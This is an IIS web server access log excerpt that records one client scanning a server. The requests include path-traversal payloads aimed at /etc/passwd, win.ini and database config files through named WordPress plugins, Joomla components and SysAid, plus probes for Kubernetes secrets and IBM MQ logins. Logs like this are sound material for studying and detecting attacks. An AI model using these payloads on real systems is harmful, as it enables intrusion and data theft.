/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_4)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2656.18+Safari/537.36 - 200 0 0 134 2023-06-29 19:42:03 103.153.214.94 GET /wp-content/plugins/pie-register/readme.txt - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686+on+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/53.0.2820.59+Safari/537.36 - 200 0 0 35 2023-06-29 19:42:03 103.153.214.94 POST /login/ - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2117.157+Safari/537.36 - 405 0 1 30 2023-06-29 19:42:03 103.153.214.94 GET /wp-admin/profile.php - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 - 200 0 0 25 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 19:59:20 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 19:59:20 103.153.214.94 GET /wp-content/plugins/ad-widget/views/modal/ step=../../../../../../../etc/passwd%00 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 36 2023-06-29 20:00:18 103.153.214.94 GET /components/statestore - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 32 2023-06-29 20:00:18 103.153.214.94 GET /overview - 443 - 45.117.82.231 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.0+Safari/537.36 - 200 0 0 24 2023-06-29 20:00:18 103.153.214.94 GET /controlplane - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 - 200 0 0 25 2023-06-29 20:08:33 103.153.214.94 GET /index.php option=com_jotloader§ion=../../../../../../../../../../../../../../etc/passwd%00 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.3319.102+Safari/537.36 - 200 0 0 43 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 20:44:08 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 20:44:08 103.153.214.94 GET /hoteldruid/inizio.php - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/37.0.2049.0+Safari/537.36 - 200 0 0 654 2023-06-29 20:44:08 103.153.214.94 GET /inizio.php - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.3319.102+Safari/537.36 - 200 0 0 31 2023-06-29 20:48:19 103.153.214.94 GET /cgi-bin/luci - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/89.0.4389.114+Safari/537.36 - 200 0 0 42 2023-06-29 20:55:16 103.153.214.94 GET /sysaid/getGfiUpgradeFile fileName=../../../../../../../etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686+on+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/53.0.2820.59+Safari/537.36 - 200 0 0 40 2023-06-29 20:55:16 103.153.214.94 GET /getGfiUpgradeFile fileName=../../../../../../../etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+i686+on+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/53.0.2820.59+Safari/537.36 - 200 0 0 27 2023-06-29 20:56:23 103.153.214.94 GET /index.php controller=../../../../../../../../../../etc/passwd%00&option=com_ckforms 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 - 200 0 0 36 2023-06-29 21:02:28 103.153.214.94 GET /index.php option=com_jequoteform&view=../../../../../../etc/passwd%00 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 - 200 0 0 39 2023-06-29 21:06:49 103.153.214.94 GET /QH.aspx action=download&fileName=.%2fQH.aspx&responderId=ResourceNewResponder 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/55.0.2919.83+Safari/537.36 - 200 0 0 40 2023-06-29 21:12:30 103.153.214.94 POST /search - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_3)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2866.71+Safari/537.36 - 405 0 1 44 2023-06-29 21:18:05 103.153.214.94 POST /public/index.php/material/Material/_download_imgage media_id=1&picUrl=./../config/database.php 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.2309.372+Safari/537.36 - 405 0 1 35 2023-06-29 21:18:05 103.153.214.94 GET /public/index.php/home/file/user_pics - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2228.0+Safari/537.36 - 200 0 0 27 2023-06-29 21:19:44 103.153.214.94 POST / - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 405 0 1 38 2023-06-29 21:19:44 103.153.214.94 GET /2ReXb74co61Dhcfn3ZHjRPYK1cd.php/x0A - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_8_4)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/49.0.2656.18+Safari/537.36 - 200 0 0 44 2023-06-29 21:24:52 103.153.214.94 GET /systemController/showOrDownByurl.do dbPath=../../../../../../etc/passwd&down 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/35.0.3319.102+Safari/537.36 - 200 0 0 31 2023-06-29 21:24:52 103.153.214.94 GET /systemController/showOrDownByurl.do dbPath=../Windows/win.ini&down 443 - 45.117.82.231 Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/55.0.2919.83+Safari/537.36 - 200 0 0 26 2023-06-29 21:29:10 103.153.214.94 GET /index.jsp - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1985.67+Safari/537.36 - 200 0 0 33 2023-06-29 21:39:18 103.153.214.94 POST /ibmmq/console/j_security_check - 443 - 45.117.82.231 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_9_2)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/36.0.1944.0+Safari/537.36 https://bcvt.kontum.gov.vn/ibmmq/console/login.html 405 0 1 41 2023-06-29 21:39:18 103.153.214.94 POST /ibmmq/console/j_security_check - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.4;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 https://bcvt.kontum.gov.vn/ibmmq/console/login.html 405 0 1 29 2023-06-29 21:39:18 103.153.214.94 POST /ibmmq/console/j_security_check - 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2224.3+Safari/537.36 https://bcvt.kontum.gov.vn/ibmmq/console/login.html 405 0 1 25 #Software: Microsoft Internet Information Services 10.0 #Version: 1.0 #Date: 2023-06-29 21:59:17 #Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken 2023-06-29 21:59:17 103.153.214.94 GET /wp-content/plugins/mail-masta/inc/campaign/count_of_send.php pl=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/70.0.3538.77+Safari/537.36 - 200 0 0 44 2023-06-29 21:59:17 103.153.214.94 GET /wp-content/plugins/mail-masta/inc/lists/csvexport.php pl=/etc/passwd 443 - 45.117.82.231 Mozilla/5.0+(Windows+NT+6.3;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2225.0+Safari/537.36 - 200 0 0 35